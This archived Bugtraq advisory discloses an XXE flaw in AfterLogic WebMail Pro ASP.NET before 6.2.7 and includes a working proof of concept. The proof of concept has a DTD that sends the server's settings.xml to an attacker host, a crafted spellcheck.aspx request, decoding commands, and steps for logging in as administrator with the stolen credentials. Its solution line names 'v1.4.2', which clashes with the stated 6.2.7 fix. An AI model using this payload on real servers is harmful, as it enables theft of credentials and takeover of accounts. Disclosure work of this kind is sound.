bugtraq - AfterLogic WebMail Pro ASP.NET < 6.2.7 Administrator Account Takover via XXE Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 23 May 2016 20:09:51 GMT
From: mehmet.ince@...ictuseurope.com
To: bugtraq@...urityfocus.com
Subject: AfterLogic WebMail Pro ASP.NET < 6.2.7 Administrator Account
 Takover via XXE Injection

1. ADVISORY INFORMATION
========================================
Title: AfterLogic WebMail Pro ASP.NET Administrator Account Takover via XXE Injection
Application: AfterLogic WebMail Pro ASP.NET 
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Versions Affected: AfterLogic WebMail Pro ASP.NET < 6.2.7
Vendor URL: http://www.afterlogic.com/webmail-client-asp-net
Bugs:  XXE Injection
Date of found:  28.03.2016
Reported:  22.05.2016
Vendor response: 22.05.2016
Date of Public Advisory: 23.05.2016

2. CREDIT
========================================
This vulnerability was identified during penetration test
by Mehmet INCE & Halit Alptekin from PRODAFT / INVICTUS 

3. VERSIONS AFFECTED
========================================
AfterLogic WebMail Pro ASP.NET < 6.2.7

4. INTRODUCTION
========================================
It seems that /webmail/spellcheck.aspx?xml= endpoint takes XML request as an parameter and parse it with XML entities.
By abusing XML entities attackers can read Web.config file as well as settings.xml that contains administrator account
credentials in plain-text.

5. TECHNICAL DETAILS & POC
========================================

1 - Put following XML entity definition into your attacker server. E.g: /var/www/html/test.dtd. Do NOT forget to change ATTACKER_SERVER_IP.

<!ENTITY % payl SYSTEM "file://c:/inetpub/wwwroot/apps/webmail/app_data/settings/settings.xml">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://ATTACKER_SERVER_IP/?p=%payl;'>">

2 - Start reading access log on your attacker server.

tail -f /var/log/apache/access.log

3 - Send following HTTP GET request to the target.

http://TARGET_DOMAIN/webmail/spellcheck.aspx?xml=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://81.17.25.9/test.dtd">
%remote;
%int;
%trick;]>

4 - You will see the settings.xml content in your access log. 
5 - In order to decode and see it in pretty format. Please follow instruction in order.
5.1 - Create urldecode alias by executing following command.

alias urldecode='python -c "import sys, urllib as ul; \
    print ul.unquote_plus(sys.argv[1])"'

5.2 - Get last line of access log and pass it to the urldecode.

root@...ker:/var/www/html# urldecode $(tail -n 1 /var/log/apache2/access.log|awk {'print $7'})
/?p=
<Settings>
  <Common>
    <SiteName>[SITE_NAME_WILL_BE_HERE]</SiteName>
    <LicenseKey>[LICENSE_KEY]/LicenseKey>
    <AdminLogin>[ADMINISTRATOR_USERNAME]</AdminLogin>
    <AdminPassword>[ADMINISTRATOR_PASSWORD]</AdminPassword>
    <DBType>MSSQL</DBType>
    <DBLogin>WebMailUser</DBLogin>
    <DBPassword>[DATABASE_PASSWORD]</DBPassword>
    <DBName>Webmail</DBName>
    <DBDSN>
    </DBDSN>
    <DBHost>localhost\SQLEXPRESS</DBHost>
    ....
    ....
    ...

6 - You can login by using these administration credentials. 
Login panel is located at http://TARGET_DOMAIN/webmail/adminpanel/

6. RISK
========================================
The vulnerability allows remote attackers to read sensitive information
from the server such as settings.xml or web.config which contains administrator
account and database credentials.

7. SOLUTION
========================================
Update to the latest version v1.4.2

8. REPORT TIMELINE
========================================
28.03.2016: Vulnerability discovered during pentest
29.03.2016: Our client requested a time to mitigate their infrastructures
22.05.2016: First contact with vendor
22.05.2016: Vendor requested more technical details.
23.05.2016: Vendor publishes update with 6.2.7 release.
23.05.2016: Advisory released

9. REFERENCES
========================================
https://twitter.com/afterlogic/status/734764320165400576